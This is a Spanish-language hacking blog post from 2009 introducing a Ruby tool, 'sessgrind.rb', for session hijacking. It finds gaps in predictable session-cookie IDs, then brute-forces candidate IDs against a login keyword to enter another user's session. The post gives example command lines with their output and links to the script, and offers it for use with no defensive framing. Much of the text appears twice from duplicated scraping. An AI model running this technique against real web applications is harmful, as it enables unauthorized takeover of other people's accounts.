Documentación explícita referente a redes, sistemas y seguridad informática.
Categorías
Administración y Seguridad Programación
Afiliados
- Autor: Sh4v
- |
- Fecha: 2009-10-16
- |
- Categoría: Laboratorio N-D
Os pongo una pequeña introducción para la utilización de este programa. Cuando ingresas en una web que maneje sesiones, se te asigna un identificador de sesión. Por ejemplo, una aplicación php que utilice cookies para establecer sesiones de usuario te asignaría un id del tipo PHPSESSID=8647b4e560b96f85b76a4438a1ee3bf4.
Este identificador de sesión es una frase generada de forma aleatoria y encriptada en md5, por lo que no habría manera de poder hacer un grinding ya que cada vez te asignaría un id totálmente distinto al anterior (sin encriptar guarda un patrón. C1c4Tr1Z en (http://foro.undersecurity.net/read.php?41,3030,3119#msg-3119) hizo un grandísimo trabajo mostrando como trabajaba Apache y PHP para la asignación de sesiones). Sin embargo hay otras aplicaciones web que llevan una secuencia más sencilla de generación de id's debido a una chapucera programación casera y es aquí cuando tenemos posibilidades de hacer un grinding con un posterior force-brute. Ejemplo de asignación de sesiones:
Como se puede observar, va aumentando de 2 en 2 y además hay una relación de impares en las 5 primeras cifras y de pares en las 4 últimas. Se ve por tanto que hay una lógica bastante más sencilla que la utilizada por el servidor PHP. Si nos fijamos un poco más, vemos que ha saltado de la 8ª a la 9ª línea una sesión, lo que nos hace sospechar que sea una sesión que esté siendo utilizada por otro usuario, razón que explicaría que no se nos haya sido asignado ese identificador de sesión. En este caso con paros proxy, tamper data, live http headers... podríamos modificar el valor de la cookie por 135792604 y supuestamente, si no se comparan más variables con formularios ocultos o con parámetros pasados por url, entraríamos en la sesión de ese usuario. Este es un caso muy trivial. En la realidad, los algoritmos de creación de id's son bastante más complejos. Se trata en un principio en buscar una diferencia anómala entre intervalos de sesiones. Una vez encontrado ese intervalo con el modo -1, con el modo -2 se procedería a hacer un brute force pasando por la variable id de la cookie todas las sesiones posibles de forma progresiva y buscando una palabra que SÓLO aparezca cuando inicias sesión correctamente para poder identificar así que la sesión estaba iniciada. Por ejemplo, comenzaríamos así:
Ataque 1
Aquí tienes la opción de guardar los resultados en un documento de texto añadiendolo como último argumento. Vemos que el intervalo sospechoso va desde 135792602 a 135792606, así que comenzamos el ataque 2. Sabemos además que existe una palabra que se muestra en la página al ingresar correctamente y vamos a suponer que es "Bienvenido":
Ataque 2
Este modo tiene un argumento más que es opcional. Sirve para añadir el resto de variables que vayan dentro de la cookie. Esto lo he puesto así porque es muy probable que una página además de comparar el id de sesión, compare otra serie de parámetros y tire error en caso de no encontrarlos, aunque también puede ser que te los asigne de nuevo en caso de no haberlos. Enjoy =).
_________________________________________________________________________________
Todavía no hay comentarios. ¡Anímate y se el primero!
<?php
session_start();
?>
session_start();
?>
Este identificador de sesión es una frase generada de forma aleatoria y encriptada en md5, por lo que no habría manera de poder hacer un grinding ya que cada vez te asignaría un id totálmente distinto al anterior (sin encriptar guarda un patrón. C1c4Tr1Z en (http://foro.undersecurity.net/read.php?41,3030,3119#msg-3119) hizo un grandísimo trabajo mostrando como trabajaba Apache y PHP para la asignación de sesiones). Sin embargo hay otras aplicaciones web que llevan una secuencia más sencilla de generación de id's debido a una chapucera programación casera y es aquí cuando tenemos posibilidades de hacer un grinding con un posterior force-brute. Ejemplo de asignación de sesiones:
135792468
135792480
135792482
135792484
135792486
135792488
135792600
135792602
135792606
135792608
135792620
135792622
135792624
135792480
135792482
135792484
135792486
135792488
135792600
135792602
135792606
135792608
135792620
135792622
135792624
Como se puede observar, va aumentando de 2 en 2 y además hay una relación de impares en las 5 primeras cifras y de pares en las 4 últimas. Se ve por tanto que hay una lógica bastante más sencilla que la utilizada por el servidor PHP. Si nos fijamos un poco más, vemos que ha saltado de la 8ª a la 9ª línea una sesión, lo que nos hace sospechar que sea una sesión que esté siendo utilizada por otro usuario, razón que explicaría que no se nos haya sido asignado ese identificador de sesión. En este caso con paros proxy, tamper data, live http headers... podríamos modificar el valor de la cookie por 135792604 y supuestamente, si no se comparan más variables con formularios ocultos o con parámetros pasados por url, entraríamos en la sesión de ese usuario. Este es un caso muy trivial. En la realidad, los algoritmos de creación de id's son bastante más complejos. Se trata en un principio en buscar una diferencia anómala entre intervalos de sesiones. Una vez encontrado ese intervalo con el modo -1, con el modo -2 se procedería a hacer un brute force pasando por la variable id de la cookie todas las sesiones posibles de forma progresiva y buscando una palabra que SÓLO aparezca cuando inicias sesión correctamente para poder identificar así que la sesión estaba iniciada. Por ejemplo, comenzaríamos así:
Ataque 1
$ ruby sessgrind.rb -1 www.ejemplo.com index.php 13
SESSID = 135792468
SESSID = 135792480
SESSID = 135792482
SESSID = 135792484
SESSID = 135792486
SESSID = 135792488
SESSID = 135792600
SESSID = 135792602
SESSID = 135792606
SESSID = 135792608
SESSID = 135792620
SESSID = 135792622
SESSID = 135792624
SESSID = 135792468
SESSID = 135792480
SESSID = 135792482
SESSID = 135792484
SESSID = 135792486
SESSID = 135792488
SESSID = 135792600
SESSID = 135792602
SESSID = 135792606
SESSID = 135792608
SESSID = 135792620
SESSID = 135792622
SESSID = 135792624
Aquí tienes la opción de guardar los resultados en un documento de texto añadiendolo como último argumento. Vemos que el intervalo sospechoso va desde 135792602 a 135792606, así que comenzamos el ataque 2. Sabemos además que existe una palabra que se muestra en la página al ingresar correctamente y vamos a suponer que es "Bienvenido":
Ataque 2
$ ruby sessgrind.rb -2 www.ejemplo.com index.php 135792602 135792606 SESSID Bienvenido
Session mistaken: 135792602
Session mistaken: 135792603
Successful session: 135792604
Session mistaken: 135792605
Session mistaken: 135792606
Session mistaken: 135792602
Session mistaken: 135792603
Successful session: 135792604
Session mistaken: 135792605
Session mistaken: 135792606
Este modo tiene un argumento más que es opcional. Sirve para añadir el resto de variables que vayan dentro de la cookie. Esto lo he puesto así porque es muy probable que una página además de comparar el id de sesión, compare otra serie de parámetros y tire error en caso de no encontrarlos, aunque también puede ser que te los asigne de nuevo en caso de no haberlos. Enjoy =).
http://n3t-datagrams.net/lab/rshijacker.rb.txt
_________________________________________________________________________________
Todavía no hay comentarios. ¡Anímate y se el primero!


